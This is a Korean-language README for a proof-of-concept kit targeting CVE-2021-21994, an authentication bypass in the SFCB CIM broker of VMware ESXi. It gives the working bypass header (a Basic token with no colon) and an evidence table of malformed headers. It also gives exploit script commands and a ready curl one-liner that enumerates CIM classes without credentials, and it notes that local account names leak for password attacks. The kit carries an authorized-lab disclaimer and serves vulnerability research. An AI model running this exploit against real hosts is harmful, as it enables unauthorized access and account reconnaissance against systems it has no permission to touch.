mreza-en/cve-2021-21994_poc프로브/퍼즈 하네스를 통해 VMware ESXi SFCB 인증 우회(CVE-2021-21994)를 검증하고 악용하여, 인증되지 않은 CIM-XML 열거를 가능하게 합니다.
| 필드 | 값 |
|---|---|
| 유형 | CWE-287 부적절한 인증 (인증 우회) |
| 구성 요소 | VMware ESXi 내부의 SFCB (Small Footprint CIM Broker) |
| 공격 벡터 | 네트워크, TCP 5989 (HTTPS를 통한 CIM-XML), "특수하게 조작된 요청" |
| 영향 범위 | VMSA-2021-0014(2021년 7월) 이전의 ESXi 6.5 / 6.7 / 7.0 |
| 수정 | VMSA-2021-0014 패치 빌드 |
| 공개 PoC | 없음. VMware는 요청 형태를 공개하지 않음 |
참고 자료: NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB
PoC가 존재하지 않으므로, 이 키트는 직접 찾아내는(find-it-yourself) 하네스입니다: sfcb_probe.py는 오라클(check)을 검증한 다음 타겟 변형(mutation) 사전을 /cimom에 던져서(fuzz) 유효한 자격 증명 없이 얻은 CIM 본문이 포함된 200 응답을 플래그합니다.
승인된 평가(engagement) 범위 내에 명시적으로 포함된 자체 랩 VM 또는 대상에만 사용하십시오.
/etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
esxcli network firewall ruleset list | grep -i cim
esxcli network ip connection list | grep 5989 # must LISTEN
# establish the oracle first (needs a real local ESXi account, e.g. root)
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'
# expect: no-auth -> 401, bogus -> 401, valid -> 200
# then fuzz (uses only bogus/no creds, never your real ones):
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/
우회가 발견되었습니다. 근본 원인: Basic 인증 토큰이 :를 포함한 user:password 쌍으로 디코딩되지 않으면 sfcbd가 fail-open(인증 생략 후 접근 허용) 상태가 됩니다.
최소 PoC 헤더 (root의 base64, 콜론 없음):
Authorization: Basic cm9vdA==
퍼즈 실행에서 얻은 증거 매트릭스:
| 요청 형태 | 상태 | 의미 |
|---|---|---|
헤더 없음 / 유효한 user:pass b64 / : / root: | 401 | 콜론 존재 → 인증 실행 → 거부됨 |
b64("root") (콜론 없음) | 200 + CIM 본문 | 콜론 없음 → 인증 건너뜀 |
b64("\0:\0") (빈 C-문자열) | 200 | 동일: 콜론 없음 |
잘못된 base64 (공백 / BOM / Basic 접두사) | 200 | 디코딩 실패 → 인증 건너뜀 |
Basic\tTOKEN (탭 구분자) | 401 | any-WSP 분할이 정상 동작 → 인증 실행 |
Basic␣␣TOKEN (이중 공백) | 200 | 단일 공백 분할 → 토큰이 공백으로 시작 → 디코딩 실패 |
200 응답에는 CIMOM 내부에서 디스패치된 CIM-XML 인벨로프(예: ERROR CODE="5" Class not found)가 포함되어 있어 HTTP 인증 계층이 통과되었음을 증명합니다 — 잘못된 헤더가 없는 동일한 요청은 401을 반환합니다.
익스플로잇 사용법:
python3 sfcb_exploit.py verify 192.168.x.x # oracle proof, prints VULNERABLE
python3 sfcb_exploit.py classes 192.168.x.x # dump class names of a namespace
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem
보고서 스크린샷용 curl 원라이너:
curl -sk -X POST "https://192.168.x.x:5989/cimom" \
-H 'Content-Type: application/xml; charset=utf-8' \
-H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
-H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
-d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'
영향: CIM 브로커에 대한 인증 없는 읽기 접근:
VMware_Identity 인스턴스가 모든 ESXi 로컬 계정을 유출합니다(랩 6.5에서 관찰됨: vCenter 관리 호스트의 root, dcui, vpxuser 및 사용자 정의 계정). 이를 통해 표적 암호 공격이 가능해집니다.VMware_RoleBasedAuthorizationService, CIM_PrivilegeManagementService)는 DMTF 프로파일 메서드(AssignRoles, AssignAccess, ...)를 선언하지만 인스턴스를 노출하지 않습니다 — 메서드는 스키마 전용입니다. 이 CVE로는 CIM을 통한 계정 생성/수정이 불가능하며, 영향의 상한은 인증 없는 정보 공개입니다.판정:
BYPASS-STRONG — 유효한 자격 증명 없이 HTTP 200 + CIM-XML 본문 → 우회를 찾은 것입니다. 덤프된 요청이 바로 익스플로잇 프리미티브입니다.bypass-weak(200-no-cim-body) — 200이지만 CIM 본문 없음, 덤프를 검사하세요.blocked / info(400) — 거부됨. 참고: 400은 일반적으로 요청이 인증 평가 이전에 중단되었음을 의미합니다 — 여전히 흥미로운 결과지만 우회는 아닙니다.직접 작성한 CIM 본문에 관한 참고 사항: DSP0200에 따라 EnumerateInstanceNames는 ClassName IPARAMVALUE를 요구합니다. 이것이 없는 본문은 인증과 무관한 이유로 거부되어 오라클을 오염시킬 수 있습니다 — 하네스는 항상 스펙에 맞는 본문을 전송합니다.
퍼저는 전형적인 HTTP auth-parser(인증 파서) 혼동 형태를 다룹니다. 어느 것도 적중하지 않으면, 남은(그리고 결정적인) 방법은 **바이너리 디핑(binary diffing)**입니다:
esx-base VIB와 VMSA-2021-0014 패치가 적용된 6.5/6.7/7.0 빌드를 VMware 공개 디포(depot) 인덱스에서 가져옵니다: https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xmlar 아카이브 → vib 페이로드 → cpio), Ghidra + BinDiff로 sfcbd* 바이너리를 디핑합니다.sfcb)는 HTTP+인증 코드 경로에 대한 유용한 구조적 참조 자료입니다.